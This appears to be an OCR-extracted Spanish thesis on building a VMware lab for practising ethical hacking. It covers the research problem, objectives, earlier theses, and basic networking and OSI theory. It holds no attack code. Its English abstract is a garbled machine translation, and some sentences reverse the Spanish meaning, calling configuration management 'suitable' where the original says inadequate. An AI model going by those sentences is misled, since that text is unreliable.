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RESUMEN

El impulso tecnolégico que ha tenido el mundo se ha visto frustrado por hechos
lamentables efectuados por ciber delincuentes. Estos ultimos afios han sido marcados
por ataques de tipo ransomware (software malicioso) que infectaron un sin nimero de
ordenadores cifrando la informacion de usuarios comunes pasando por
departamentos de gobierno, hospitales, y llegando a empresas multinacionales que
se vieron obligados a parar sus operaciones para detener la propagacion del malware

en sus infraestructuras.

Es por ello que a nivel de infraestructura tecnoldgica un factor decisivo a la hora de
sufrir un ataque informatico viene a ser una inadecuada gestion de configuracion en
los servicios implementados y una incorrecta administracion y despliegue de
actualizaciones en sistemas operativos y aplicaciones. Si un atacante logra penetrar
la seguridad perimetral y obtener acceso a la red interna puede aprovechar las
configuraciones deficientes en los servicios internos y buscar vulnerabilidades que no
han sido parchadas, esto conllevaria a que en algunos casos comprometa toda la

infraestructura tecnoldgica.

Es por ello que la presente investigacion tiene como finalidad la construccion de un
modelo referencial de infraestructura virtual, la cual permita implementar las técnicas
del hacking ético (recoleccion de informacion, analisis de vulnerabilidades, explotacion
y pos explotacion) simulando los ataques, identificar su funcionamiento y evaluar el
método mas eficaz para contrarrestarlo. Para ello, se disefi6 un escenario de

experimentacion con la utilizacion de la tecnologia de virtualizacion VMware.

Posteriormente se evaluaron la vulnerabilidad y se indujeron ataques de barrido de
puertos, hombre en el medio, denegacion de servicio, inyeccion SQL y Phishing, a los
servicios disponibles en la infraestructura virtual tanto en la zona LAN y zona WAN
(web, correo electrénico y base de datos), esto permiti6 analizar e identificar los
distintos eventos relacionados a la seguridad informética dentro de una infraestructura

computacional.

Palabras clave: Hacking ético, hacker, seguridad informética, seguridad de la

informacion, malware, seguridad cibernética, virtualizacion.
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ABSTRACT

The technological impulse that has had the world has seen frustrated by regrettable
facts effected by ciber criminals. These last years have sidos marked by attacks of
type ransomware (wanton software) that infected a without number of computers
enciphering the information of common users going through departcatkins of
government, hospitals, and arriving to companies multinationals that saw obliged to

stop his operations to detain the propagation of the malware in his infrastructures.

It is thus that to level of technological infrastructure a decisive factor to the hour to
suffer a computer attack comes to be a suitable management of configuration in the
services implemented and a correct administration and deployment of updates in
operating systems and applications. If an attacker attains to penetrate the security
perimeter and obtain access to the internal net can take advantage of the deficient
configurations in the internal services and look for vulnerabilities that have not been
patched, this would comport to that in some cases engage all the technological

infrastructure.

It is thus that Ito present investigation has like purpose the construction of a referential
model of virtual infrastructure, which allow to implement the technicians of the hacking
ethical (recoleccion of information, analysis of vulnerabilities, exploitation and pos
exploitation) simulating the attacks, identify his operation and evaluate the most
effective method to counter it. For this, designed a stage of experimentation with the
utilisation of the technology of virtual VMware.

Later they evaluated the vulnerabilities and induced attacks of scanning of ports, man
in the half, denial of service, injection SQL and Phishing, to the available services in
the virtual infrastructure so much in the zone LAN and zone WAN (web, email and
database), this allowed to analyse and identify the distinct events related to the

computer security inside a computational infrastructure.

Keywords: Ethical hacking, hacker, computer security, information security, malware,

cyber security, virtualization.
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CHUMASQA

Kallpanchasga musug ruwaykunapaga rikukusga llakisga Ilipi mana allin
ruwasgakunamanta chay musuq suwakunamanta. Kay gipa watakupiqa karunku
chignipasga kay huknin kag ransomware (sotware malicioso) chay mirarusqa llapa
mana atiy yupana ruwanakunaman llapa runakunapa yachananta pakaykuspa
chaymanta pawaykusga hatun kamachiq wasikunaman,gampina wasiman
chaymantapas chayasgas hatun llamkana wasikunaman chaypis gawarukusgaku
kamachisqata sayanankupag ichaga chaynanpamantas garkankuman chay miray

malware nisqanta chay llapan pirqaykunapi.

Chaypagsi chay llapan musuq pirqaykunapihuk ruway tantiasga punchawpa
Aakarisgan ichaga chaymantas gamun sumaq qatipaykuna chay allin churasgata
ichaga chay huk allin llamkay hinallatag chigichiy musuq ruwayta chay “sistemas
operativos y aplicaciones”.ichapas huk qatipaq atirunman yaykuyta chay seguridad
perimetral nisgaman hinaspa atiruman yaykuyta chay red interna nisgaman chaypis
tukuparunman chay mana allin ruwasgankunata ukunmanta hinaspa maskanman
mana allin lagasgakunata, kaysi apan wakin ruwaykunata takiapachispa llapan musuq
pirgakunapi.

Chaymi kay maskaypa gawaynin qgatunta pirqay huk modelo referencial de
infraestructura virtual, nisganta chayga yanapangas chay hacking ético (recoleccion
de informacion, andlisis de vulnerabilidades, explotacion y pos explotacion) mana allin
gatigkunata gawachispa, purigninta riskispa ichapas gatipan allin fianta maskaspa
allinpipuny tukunanpag. Chaypagsi ruwakusga huk wasi yachay gallarina usukunapaq

musuq virtualizacion vmware.

Qinallmansi gatipasqga llapa mana allin kagkunata chaymanta churasgaku mana allin
kunata punku kichanapaq, runa chaupipi, gayway mana kanchu, inyeccion sqgl y
phishing, kasga qaywaykuna musuq pirga nisqanpag kan chay zona lan y zona
wan(web, correo electronico y base datos) kaysi kichakusga maskasganta hinallataq

risginampag Illiw mana richkay ruwaykunata allin musuq ruwaykunapaq ukumpi hatun

pirqaypag.

Simi kicharig: Hacking ético, hacker, seguridad informatica, seguridad de la

informacion, malware, seguridad cibernética, virtualizacion.
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INTRODUCCION

Debido al avance tecnoldgico, la seguridad de toda empresa es esencial para
mantener protegidos todos sus datos, sistemas y servicios. La informacién que
fluye por las redes puede ser susceptible a diferentes tipos de ataques. De esta
manera, datos confidenciales de una organizaciéon en manos equivocadas podrian

comprometer la integridad de la institucion.

Es por eso que con el pasar de los tiempos ha surgido la necesidad de implementar
procesos de seguridad mas robustos y con ello efectuar técnicas de intrusiones
bajo un ambiente controlado, lo cual simule un ataque real. Esta simulacién permite
encontrar brechas en la seguridad, las cuales un atacante podria aprovechar para
infiltrarse en la red de una organizacién con propésitos malintencionados y de esta
forma manipular informacioén, suplantar identidades, colapsar servicios, u otras

actividades propias de un delincuente informéatico.

La funcion de un hacker ético es efectuar ataques controlados hacia una
infraestructura informatica especifica para detectar y explotar vulnerabilidades
potenciales, pero sin poner en riesgo los sistemas y servicios auditados.

El presente de investigacion busca ser una guia sobre el proceso de
implementacion de técnicas de hacking ético sobre un escenario virtual, vale decir,
simulacion de una organizacion con sus redes computacionales y servicios; con el
objetivo de poder mitigar fallas de seguridad antes de sufrir un ataque informatico,

el cual pueda comprometer informacion valiosa sobre cualquier organizacion.



CAPITULO |
1. Problema de investigacién

1.1. Realidad problematica

En la actualidad, las organizaciones son cada vez mas dependientes de sus redes
informaticas, es por ello que cualquier problema asociado a tecnologias, por minimo que
sea, puede comprometer la continuidad de las operaciones. La falta de medidas de
seguridad en las redes es un problema que esta en crecimiento. Cada vez es mayor el
namero de atacantes y cada vez estdn mas organizados, por lo que van adquiriendo dia a
dia habilidades més especializadas que les permiten obtener mayores beneficios. Incluso

no se debe subestimar las fallas de seguridad provenientes del interior de la organizacién.

En el ambito mundial cada dia se reportan decenas de miles de ciberataques, la
ciberseguridad es, sin duda, uno de los pilares basicos de la transformacion digital a la que
se dirige y, hoy por hoy, uno de los perfiles profesionales mas demandados por las

empresas.

En los Ultimos afios las grandes empresas se han visto comprometidas al ser victimas de
ataques y quedar expuestas a disposicion de terceros. Entre algunos de los casos que
causaron mayor revuelo se puede destacar el robo de datos de millones de cuentas de
usuarios de Yahoo y el caso de filtracion de informacion correspondiente a empleados del

Departamento de Justicia de Estados Unidos (Fernandez, 2017).

Expertos de Digiware, integrador de seguridad informatica en Latinoamérica que realizé la
investigacion, Perl se ubica en el quinto lugar de los paises en recibir mayor cantidad de
ataques cibernéticos, esto debido a la carencia de un sistema de estrategias de defensa
digital. Al menos cuatro peruanos son victimas a diario de un ataque cibernético. La
Division de Investigacion de Delitos de Alta Tecnologia (Divindat) de la Policia Nacional
precisé que cada semana se registran entre 30 y 35 denuncias de delitos informéaticos,
ademas la cifra no es insignificante: 4 mil millones de dodlares se pierden al afio por
ciberdelitos (Montero, 2017).

En el &mbito nacional, segun estudio realizado por Kaspersky (2017) a veces el personal
hace exactamente lo contrario, esto se plasma en el informe “El factor humano en la
seguridad de TI: como los empleados hacen que las empresas sean vulnerables desde
dentro”, los descuidos del personal contribuyeron al ataque en 46% de los incidentes de

ciberseguridad en el 2017.

Segun los datos del informe de la compaifiia (Experis, 2017) en los proximos tres afos las
empresas reclamaran cerca de 2,5 millones de expertos en ciberseguridad cuando, a

fecha de hoy, solo hay disponibles algo mas de un millén de profesionales cualificados en



esta materia, es decir, faltan 1,5 millones de expertos sin los cuales el proceso de

transformacion digital se muestra complicado.

Segun el estudio “State of cibersecurity implications” de ISACA/RSA, el problema es tan
grande que solo el 1% de las empresas en el mundo cubre una vacante de este sector en

menos de dos semanas, mientras que el 28 % demora seis meses 0 mas.

En este escenario, uno de los principales obstaculos para la seguridad, segun revela el
Informe de ciberseguridad anual de Cisco 2017, es la falta de personal formado, que deriva
en el problema de que, aunque se cuente con las herramientas adecuadas, se necesitaria

el talento para entender lo que sucede en el entorno de seguridad.

Esta situacion se replica tanto a nivel nacional, regional y local; es mas si se habla en
especifico de Apurimac y Andahuaylas no hay forma de cuantificar el nimero de
profesionales capacitados en materia de seguridad informatica; esto debido a que no

existe ninguna oficina que centralice dicha informacion ni estudios en esta materia.

Si se enfoca en la Universidad Nacional José Maria Arguedas “UNAJMA” la cual cuenta
entre sus carreras profesionales con Ingenieria de Sistemas, ademas la casa de estudios
antes mencionada dispone de una oficina denominada “seguimiento al egresado”, la cual,
se encarga de hacer seguimiento a sus egresados de las distintas carreras profesionales;
segun consultas realizadas a la informacion manejada en dicha oficina no se tiene registro
alguno de egresado y/o titulado se esté desempefiando en el ambito de la seguridad

informatica.

En el ambito local, se puede atribuir a muchos factores que desencadena el problema en
cuestion, entre ellos el desconocimiento de las tendencias laborales, la percepcion de que
es una disciplina que implica demasiado esfuerzo y sobre todo no se tiene los escenarios
y/o herramientas para poder iniciarse en esta actividad, es decir, para poder tener dominio
de las competencias en cuanto a la seguridad informatica, se necesita un escenario que
vendria a ser una infraestructura tecnolégica sobre el cual realizar practicas para llegar a
entender, analizar y perfeccionar las habilidades; puesto que ninguna organizacién esta

en condicion de disponer su infraestructura computacional con fines educativos.

1.2. Formulacién del problema

Es posible construir un modelo referencial de infraestructura virtual que permita simular

técnicas de hacking ético y analizar los eventos relacionados a la seguridad informatica.
1.3. Objetivos

1.3.1. Objetivo General

Construir un modelo de red virtual que permita aplicar técnicas de hacking ético y

analizar los eventos relacionados a la seguridad informatica.



1.3.2. Objetivos Especificos

Determinar las herramientas que se utilizan para el disefio y construccion de la red

virtual.

Determinar las estrategias y herramientas para la implementacién del hacking ético
sobre la red virtual.

Analizar los eventos generados en materia de seguridad informéatica en cada una de

las fases del hacking ético.

1.4. Justificacion

A nivel mundial el tema de la seguridad informatica ha tomado mucha preeminencia en los
Ultimos afios y se ha convertido en un campo de gran interés para las instituciones,
empresas y para el comun denominador de los usuarios, quienes empiezan a tomar

consciencia del valor de proteger su activo mas importante, que viene a ser la informacion.

El presente trabajo de investigacion es pertinente ante la realidad problematica expuesta
ya gue se basa en el disefio de una infraestructura de red virtual que permite simular una
organizacion con recursos tecnoldgicos interconectados y sobre ello realizar practicas de
las técnicas de hacking ético, con esto se busca que cualquier persona interesado puede
implementar el escenario virtual y aplicar las técnicas de hacking para generar habilidades

en el tema seguridad informatica.

La importancia de dar una visién de las vulnerabilidades y amenazas que estan expuestas
hoy en dia en la infraestructura tecnoldgica de las empresas, asi mismo explicar las
metodologias, practicas, y etapas que realiza un hacker para poder sustraer o acceder a
equipos de una organizacion. La investigacion proporciona soluciones a cada uno de los
problemas localizados en cada etapa del Hacking Etico, por lo tanto, este trabajo permite
a las personas tener una vision del impacto de una intrusién, pero al mismo tiempo como

evitarla.

El impacto de este trabajo es determinante para el investigador, en el analisis de las
herramientas, en cada etapa que hace posible la manipulacion de los equipos por
personas no autorizadas y cdmo puede afectar a la infraestructura tecnolégica esta

intrusién no autorizada.
1.5. Viabilidad de la investigacion

1.5.1. Viabilidad técnica

Se tiene los conocimientos adquiridos respecto a las herramientas tecnolégicas que
permite facilitar la realizacién de cada una de las tareas que componen el estudio,
ademas que los mismos estan a disposicion en el mercado; el acceso a internet da la

posibilidad de tener a disposicion la documentacién de tecnologias nuevas para su



uso, del mismo modo a proyectos similares que fueron desarrollados anteriormente

que serviran como referencia.

1.5.2. Viabilidad econdmica

Para la investigacion, se contd con los recursos financieros necesarios e informacion
disponible, ya que la mayoria de las herramientas de software que se utiliz son libres
por lo cual el costo respecto a la licencia para el uso de las aplicaciones fue minimo y

alcanzable.

1.5.3. Viabilidad operativa

Teniendo en consideracion que el desarrollo del proyecto no requiere demasiado
personal, en vista de que se trata de un trabajo sobre un escenario virtual; se conté
con el asesor de investigacion y el investigador quien cuenta con las competencias

necesarias para poder llevar a cabo las actividades en la tematica del presente trabajo.

1.6. Limitacién del estudio

La simulacion de las plataformas virtuales se realiza sobre una PC de escritorio dado que
se trata de una red virtual, de esta manera los resultados y tiempos obtenidos fueron muy

cercanos en comparacion al trabajo con los equipos reales (fisicos).

Ciertas tareas durante la implementacion del hacking ético no se pudieron desarrollar

como en un entorno de red fisico (recoleccién de informacién pasiva).

El presente trabajo no pretende resolver los problemas relacionados al déficit de personal
en el tema de seguridad informética, mas si mostrar y ofrecer una herramienta que permita

iniciarse en esta disciplina.

Los escenarios virtuales que se implementaron no simularon todas las tecnologias
relacionadas a dispositivos de red que actualmente existen en el mercado, esto debido a
los elementos computacionales y las capacidades que demandan sobre un escenario

virtual.



CAPITULO II

2. Antecedentes

Rojas (2018) realiz6 la tesis titulada: "Hacking ético para analizar y evaluar la seguridad
informatica en la infraestructura de la empresa plasticaucho industrial S.A.". Entre los
objetivos planteados en este trabajo de investigacién fue simular las acciones de un
atacante a través de un ejercicio de Hacking Etico. Esto permiti6 analizar la
infraestructura de la empresa teniendo como principio la ética y la confidencialidad.
Ademas del andlisis se demostré como explotar y aprovechar vulnerabilidades de la
misma forma en la que un ciberdelincuente lo haria. Se mostrd la criticidad de la
materializacion de un atague buscando comprometer equipos y extrayendo

informacion delicada de la organizacion.

Vilca (2016) realiz6 la tesis titulada: "Implementacion de servidores virtuales en la corte
superior de justicia de puno sub sede San Roman utilizando la herramienta Vmware".
Entre sus objetivos de esta investigacion se planted Implementar servidores virtuales
para reducir espacio en la central de datos y maximizar el uso de los servidores
existentes y Monitorear las actividades de cada uno de los servidores virtuales en
tiempo real y dar una mejor optimizacion. Una de las conclusiones que se rescata es,
se implementé servidores virtuales, con esto se brinda un gran aporte para la creacion
de nuevos sistemas ya que se puede instalar toda la variedad de sistemas operativos
y asi brindar a los informaticos un ambiente éptimo para todo tipo de pruebas

aportando tecnologia de punta y con los estandares que al corte requiere.

Mendafio (2016) realizo la tesis titulada: "Implementacion de técnicas de hacking ético
para el descubrimiento y evaluacion de vulnerabilidades de la red de una cartera de
estado”. Entre sus objetivos de esta investigacion se planted la implementacion de
técnicas de hacking ético para el descubrimiento y evaluacién de vulnerabilidades, con
el fin de medir la estrategia de defensa de un sistema informético y realizar
recomendaciones de mitigacion ante las fallas encontradas. Entre las conclusiones
gue mas interesa para el presente trabajo es, que consideran que todo sistema
informatico es vulnerable y los sistemas de la organizacion evaluada no ha sido la
excepcion, es cuestion de tiempo para que personas comunes 0 expertos en hardware
y software, con conocimientos en tecnologia descubran errores y quieran vulnerar los
sistemas tecnoldgicos. Es por esto que existe personas dedicadas a evaluar
vulnerabilidades con el objetivo de evidenciar, corregir y mejorar la seguridad; La
utilizacion de metodologias como OSSTMM, ISSAF, OWASP, es muy importante para
llevar a cabo una actividad de hacking Etico.



Ortiz (2015) realizo la tesis titulada: "Hacking ético para detectar fallas en la seguridad
informatica de la intranet del gobierno provincial de imbabura e implementar un sistema
de gestion de seguridad de la informacién (SGSI), basado en la norma ISO/IEC
27001:2005". En esta investigacion se aborda la seguridad de la informacion y los
elementos involucrados en el procesamiento, almacenamiento o transporte de la
informacion en el Gobierno Provincial de Imbabura, para ello se seleccion6 la norma
ISO/IEC 27001:2005 como guia para el desarrollo de las actividades descritas con el
objetivo de implementar un sistema de gestion de seguridad de la informacion. Una de
las recomendaciones mas importantes esta referido a la adecuada seleccion de los
controles de seguridad, del cual depende directamente del correcto analisis de riesgos
de los activos de informacién y de la identificacion de todas las vulnerabilidades leves
o graves de los servidores ya que son los medios en los que se basan las operaciones

de la organizacion.

Aguilar y De La Cruz (2015) realizé una tesis titulada: “Implementacion de una solucion
de hacking ético para mejorar la seguridad en la infraestructura informatica de la caja
municipal de Sullana agencia Chimbote". Entre los objetivos planteados en esta tesis
fue analizar y disefar la solucién de hacking ético adecuada para la agencia Chimbote,
teniendo en cuenta la informacion que se transfiere por la red informéatica, Implementar
la solucion de hacking ético en la agencia Chimbote de acuerdo a los estandares
internacionales de seguridad informética y probar la solucion de hacking ético en la red
informatica en un periodo de tiempo adecuado. Entre las recomendaciones advertidas
se destaca, se debe continuar perfeccionando la solucion de hacking ético,
acompafando con implementacion de software de seguridad como firewall, antivirus,

etc.; que complementen la seguridad lograda.

Verdesoto (2007) realiz6 una tesis titulada: "Utilizacion de hacking ético para
diagnosticar, analizar y mejorar la seguridad informatica en la intranet de via celular
comunicaciones y representaciones”. La investigacion consistido en conocer el trabajo
que un Hacker Etico puede realizar, con el proposito de disefiar una solucion viable
para aplicarla en una Intranet Corporativa, analizando las herramientas de software
existentes y teniendo como condicionante que los equipos y servidores de la Intranet
trabajen con Windows y Linux. Entre las conclusiones del proyecto se tiene, el hacking
ético trata de arreglar un sistema comprometiéndolo (haciéndole pruebas destructivas)
las cuales tienen un largo historial de éxito para muchos casos, pero también es cierto

gue esta técnica no es la Unica que se debe utilizar para asegurar una red.



CAPITULO Il
3. Marco tedrico

3.1. Red informética

Una red es un sistema donde los elementos que lo componen (por lo general ordenadores)
son auténomos y estan conectados entre si, por medios fisicos y/o I6gicos y que pueden

comunicarse para compartir recursos, directorios e impresoras (Suarez, 2006, p. 1).

Para crear la red es necesario un hardware que una los dispositivos (tarjetas, cables) y un
software que implemente las reglas de comunicacién entre ellos, vale decir, protocolos y

servicios (Bueno, 2011, p 2).

La instalacion de una red, supone la unién de todos aquellos elementos que antes
trabajaban de manera separada. De esta forma se crea un sistema de comunicacion que
elimina los problemas de distancia y facilitan la comparticion de los elementos disponibles

en los ordenadores y servidores dentro de una red informéatica (Sanchez, 2002, p. 6).

3.1.1. Zona desmilitarizada (De-Militarized Zone)

Una zona desmilitarizada (demilitarized zone, DZM) hace referencia a una red de
ordenadores con un rango de direcciones IP privadas que sirve como franja de
seguridad entre dos redes, separandolas mediante estrictas reglas de acceso. Asi,
aunque fisicamente los servidores dentro de una DMZ se encuentran en la misma
empresa, no estan conectados directamente con los equipos de la red local. La
estructura del nivel de proteccion mas alto consiste en un cortafuego que separa la
zona desmilitarizada, situada entre la red local e Internet, de las redes vecinas. Por su
parte, en las arquitecturas de red un poco mas econdémicas, todas las redes estan
conectadas a un unico firewall con tres terminales separados. En este caso se habla
de una DMZ protegida (Sanchez, 2002, p. 150).

3.2. Servidores

Un servidor, es un equipo informatico que esta al servicio de otras maquinas, ordenadores
o personas llamadas clientes y que les suministran a éstos, todo tipo de informacién. Entre
los equipos clientes pueden ser personas u otros dispositivos moviles, impresoras, etc.
(Sierra, 2013, p. 14).

3.2.1. Servidor de correo

Un servidor de correo, puede definirse como una aplicacion informatica que permite
enviar y recibir mensajes a través de la red de datos, ademas es posible, adjuntar

archivos de tamano limitado con distintos formatos o extensiones.

¢ Webmail Squirrelmail



Es un cliente de correo que permite visualizar los mensajes de cuentas de email a
través de una pagina web, accediendo desde cualquier navegador. Desde el Webmail
SquirrelMail se puede realizar todas las operaciones necesarias para gestionar los

correos, e incluso usarlo como agenda de contactos (Vigunu, 2010, p. 1).

3.2.2. Servidor de base de datos

Es una serie de datos organizados y relacionados entre si en un mismo contexto, los
cuales son recolectados y explotados por los sistemas de informacion de una empresa

0 negocio en particular y que permita una integridad de los datos (Pérez, 2006, p. 15).
e Servidor de base de datos MySQL

Es un sistema de gestién de bases de datos relacional, que fue creada por la empresa
sueca MySQL AB, la cual tiene el copyright del codigo fuente del servidor SQL, asi

como también de la marca. Las principales caracteristicas de MySQL son:
= El principal objetivo de MySQL es velocidad y robustez.
= Soporta gran cantidad de tipos de datos para las columnas.

= Gran portabilidad entre sistemas, puede trabajar en distintas plataformas y sistemas

operativos.

= Flexible sistema de contrasefias (password) y gestiébn de usuarios, con un muy

buen nivel de seguridad en los datos.

El servidor soporta mensajes de error en distintas lenguas (Enriquez, 2005, p. 1-2).

3.2.3. Servidor web

Es un programa que implementa el protocolo HTTP (Hypertext Tranfer Protocol). Este
protocolo pertenece a la capa de aplicacion del modelo OSI y esté disefiado para
transferir hipertextos, paginas web y paginas HTML (Hypertext Markup Language);

generalmente funciona a través del puerto 80 (Torres, 2008, p. 19).
e Servidor web Apache

Es un software de c6digo abierto, seguro y robusto usado por la mayoria de Sistemas
Operativos y es implementado principalmente para enviar paginas web estaticas y
dindmicas en la World Wide Web (www), a través de un servidor HTTP gratuito.
Apache es usado para muchas otras tareas donde el contenido necesita ser puesto a

disposicion en una forma segura y confiable (Torres, 2008, p. 20).

3.3. Protocolos de conectividad

Es un conjunto de reglas que realiza la comunicacién de datos a través de una red a fin

de llevar a cabo diferentes transacciones. Por ejemplo, el Protocolo de Control de



Transmision/Protocolo Internet (TCP/IP) define un conjunto de reglas que se utilizan en el
envio de datos de un nodo a otro de la red. El Protocolo Simple de Transferencia de Correo
(SMTP) es un conjunto de reglas y estandares que se utilizan para la transferencia de
correo electrénico y archivos adjuntos de un nodo a otro. El Protocolo dinamico de
configuracion de anfitrion (DHCP) es un protocolo un conjunto de reglas y estandares que
se utiliza para asignar, de manera dindmica, direcciones IP en una red, a fin de que no sea

necesario asignarlas a cada estacion de trabajo en forma manual. (Hallberg, 2007, p. 92).

3.3.1. Protocolos TCP/IP

TCP/IP son en realidad dos protocolos que se utilizan en concierto uno con el otro. El
Protocolo Internet (IP) define cdmo se direccionan los datos de la red desde una fuente
hacia un destino y qué secuencia de datos debe reensamblarse en el otro extremo. El
protocolo IP trabaja en la capa de red del modelo OSI. El Protocolo de control de la
transmisién (TCP) es un protocolo de alto nivel que trabaja una capa mas arriba que
el IP, en la capa de transporte. TCP administra las conexiones entre computadoras.
Los mensajes TCP son transportados (encapsulados) en datagramas IP (Hallberg,
2007, p. 92).

Este protocolo consta de cuatro capas:
¢ Capa de red

La capa de acceso a la red es la primera capa de la pila TCP/IP. Ofrece la capacidad
de acceder a cualquier red fisica, es decir, brinda los recursos que se deben

implementar para transmitir datos a través de la red (Hallberg, 2007, p. 93).
e Capa de internet

La capa de Internet es la capa "mas importante" (si bien todas son importantes a su
manera), ya que es la que define los datagramas y administra las nociones de
direcciones IP. Permite el enrutamiento de datagramas (paquetes de datos) a equipos
remotos junto con la administracién de su division y ensamblaje cuando se reciben
(Hallberg, 2007, p. 93).

¢ Capa de transporte

Los protocolos de las capas anteriores permiten enviar informaciéon de un equipo a
otro. La capa de transporte permite que las aplicaciones que se ejecutan en equipos
remotos puedan comunicarse. El problema es identificar estas aplicaciones. De hecho,
segun el equipo y su sistema operativo, la aplicaciébn puede ser un programa, una

tarea, un proceso, etc (Hallberg, 2007, p. 93).

e Capa de aplicacion
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La capa de aplicacion se encuentra en la parte superior de las capas del protocolo
TCP/IP. Contiene las aplicaciones de red que permiten la comunicacion mediante las
capas inferiores. Por lo tanto, el software en esta capa se comunica mediante uno o
dos protocolos de la capa inferior (la capa de transporte), es decir, TCP o UDP
(Hallberg, 2007, p. 93).

3.3.2. Modelo OSI

El modelo de interconexion para sistemas abiertos (OSI) define todos los métodos y
protocolos necesarios para conectar una computadora a cualquier otra para formar
una red. EI modelo OSI es un modelo conceptual que se utiliza con mucha frecuencia
para disefiar redes y elaborar la ingenieria de las soluciones de red. EI modelo OSI
divide los métodos y protocolos necesarios en una conexidn de red en siete diferentes
capas (Hallberg, 2007, p. 29).

¢ Capa Fisica

La primera capa, la capa fisica, define las propiedades del medio fisico de transmision
gue se utiliza para llevar a cabo la conexién de la red. Las especificaciones de la capa
fisica se resumen en un medio fisico de transmisién un cable de red que transmite un
flujo de bits entre los nodos a través de la red fisica. La conexion fisica puede ser
punto a punto (entre dos puntos) o multipunto (entre muchos puntos, de un punto a
muchos otros), y puede consistir en transmisiones half-duplex (en una direccion a la
vez) o full-duplex (en ambas direcciones simultaneamente). Ademas, los bits pueden

transmitirse ya sea en serie o en paralelo (Hallberg, 2007, p. 30).
¢ Capa de enlace de datos

La capa de enlace de datos, o capa dos, define los estdndares que asignan un
significado a los bits que transporta la capa fisica. Establece un protocolo confiable a
través de la capa fisica a fin de que la capa de red (capa tres) pueda transmitir sus
datos. La capa de enlace de datos tipicamente detecta y corrige los errores para
asegurar un flujo de datos confiable. A los elementos de datos que transporta la capa
de enlace de datos se les llama tramas. Algunos ejemplos de tramas tipicas son la
X.25y 802.x (802.x incluye tanto a las redes Ethernet como Token Ring). La capa de
enlace de datos se divide generalmente en dos subcapas, llamadas control de enlace
I6gico (LLC) y control de acceso al medio (MAC) (Hallberg, 2007, p. 30).

e Capa de red

La capa de red, o capa tres, es donde se produce mucha accion en la mayoria de las
redes. Esta capa define la forma en que los paquetes de datos llegan de un punto a
otro en la red y lo que va dentro de cada paquete. Ademas, define los diferentes

protocolos de paguete, como el Protocolo Internet (IP) y el Protocolo de intercambio
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de Internet (IPX). Estos protocolos de paquetes incluyen informacion sobre
enrutamiento fuente y destino. La informacién de enrutamiento que contiene cada
paguete le dice a la red donde enviarlo para que llegue a su destino, a la vez que le
comunica a la computadora receptora donde se origin6 dicho paquete (Hallberg, 2007,
p. 30).

e Capa de transporte

La capa de transporte, o capa cuatro, administra el flujo de informacién desde un nodo
de red hasta otro. Se asegura de gue los paquetes sean decodificados en la secuencia
correcta y que se reciban todos. Asimismo, identifica de manera Unica a cada
computadora o nodo en la red. Los diferentes sistemas de conectividad de redes
(como el de Microsoft o Novell) tienen implantada la capa de transporte de una manera
distinta y, en realidad, la capa de transporte es la primera capa donde se presentan
entre los diferentes sistemas operativos de red. S6lo en esta capa se encuentran las
redes Windows, Novell NetWare o cualquier otro sistema de conectividad de redes.
Dentro de los ejemplos de protocolos de la capa de transporte se encuentran el
Protocolo de control de transmisién (TCP) y el Intercambio Secuencial de Paquetes
(SPX). Cada uno de ellos se utiliza en conjunto con IP e IPX, respectivamente
(Hallberg, 2007, p. 31).

e Capa de sesién

La capa de sesion, o capa cinco, define la conexién de una computadora de usuario a
un servidor de red y de una computadora a otra en una red con configuracion de igual
aigual. Estas conexiones virtuales se conocen como sesiones. Incluyen la negociacion
entre el cliente y el anfitrién, o de igual a igual, en aspectos como el control de flujo, el
procesamiento de transacciones, la transferencia de informacién de usuario y la

autentificacion de la red (Hallberg, 2007, p. 31).
¢ Capa de presentacion

La capa de presentacion, o capa seis, toma los datos que le proporcionan las capas
inferiores y los procesa a fin de que puedan presentarse al sistema (que es lo contrario
a presentar los datos al usuario, lo cual se maneja fuera del modelo OSI). Dentro de
las funciones que se llevan a cabo en la capa de presentacién se encuentran la
compresion y descompresion de datos, asi como el cifrado y descifrado de los mismos
(Hallberg, 2007, p. 31).

¢ Capa de aplicacion

La capa de aplicacion, o capa siete, controla la forma en que el sistema operativo y
sus aplicaciones interactian con la red. Las aplicaciones que se utilicen, como

Microsoft Word o Lotus 1-2-3, no son parte de la capa de aplicacion, pero proporcionan
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beneficios para el trabajo que se realiza ahi. Un ejemplo de software de la capa de
aplicacion es el software cliente que usted utilice, como el Windows Client for Microsoft
Networks, el Windows Client for Novell Networks o el software Client32 de Novell.
Ademads, controla la forma en que el sistema operativo y las aplicaciones interactdan
con dichos clientes (Hallberg, 2007, p. 31).

3.3.3. Puerto de red

Es una interfaz para comunicarse con un programa a través de una red. También se
define como "Lugares de conexion légica" y concretamente, utilizando el Protocolo de
Internet. Un puerto suele estar numerado. La implementacion del protocolo en el
destino utilizard ese nimero para decidir a qué programa entregara los datos
recibidos. Esta asignacion de puertos permite que una maquina establezca
simultdneamente diversas conexiones con maquinas distintas, ya que todos los
paguetes que se reciben tienen la misma direccion, pero van dirigidos a puertos
diferentes (Hallberg, 2007, p. 100).

Los numeros de puerto se indican mediante una palabra, 2 bytes (16 bits), por lo que
existen 65535. Podemos usar cualquiera de ellos para cualquier protocolo, no
obstante, existe un 6rgano, la IANA, encargado de la asignacién de los mismos, el

cual creo tres categorias:

= Los puertos inferiores al 1024; son puertos reservados para el sistema operativo y
usados por "protocolos bien conocidos”, si queremos usar uno de estos puertos
tendremos que arrancar el servicio que los use teniendo permisos de

administrador.

= Los comprendidos entre 1024 (0400 en hexadecimal) y 49151 (BFFF en
hexadecimal); son denominados "registrados" y pueden ser usados por cualquier
aplicacion, existe una lista publica en la web del IANA donde ver que protocolo

usa cada uno de ellos.

= Los comprendidos entre los nimeros 49152 (C000 en hexadecimal) y 65535 (FFFF
en hexadecimal); son denominados dinamico o privados porque son los usados
por el sistema operativo cuando una aplicacién tiene que conectarse a un servidor

y por tanto necesita un puerto por donde salir.

3.1.1. Servicio de red

Servicio de Red es un medio por el que dos sistemas dispares se comunican. Es decir,
un servicio instalado en una méaquina que provee a los clientes que se conecten a él.
Generalmente los servicios de red son instalados en uno o mas servidores para

permitir el compartir recursos a computadoras clientes (Hallberg, 2007, p. 112).
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3.4. Seguridad de lainformacion

Medidas y actividades que procuran proteger los activos de informacién, entendiéndose
éstos como los conocimientos o datos que tienen valor para una organizacion, en sus
diferentes formas y estados, a través de la reduccion de riesgos a un nivel aceptable,

mitigando las amenazas latentes.

“La seguridad de la informacion consiste en la preservacidon de su confidencialidad,
integridad y disponibilidad, asi como de los sistemas implicados en su tratamiento, dentro
de una organizacion” (NORMAS ISO 27001).

3.4.1. Elementos de la seguridad de la informacidn

¢ Integridad: Garantiza que los datos y la informacién no sean alterados o modificados,

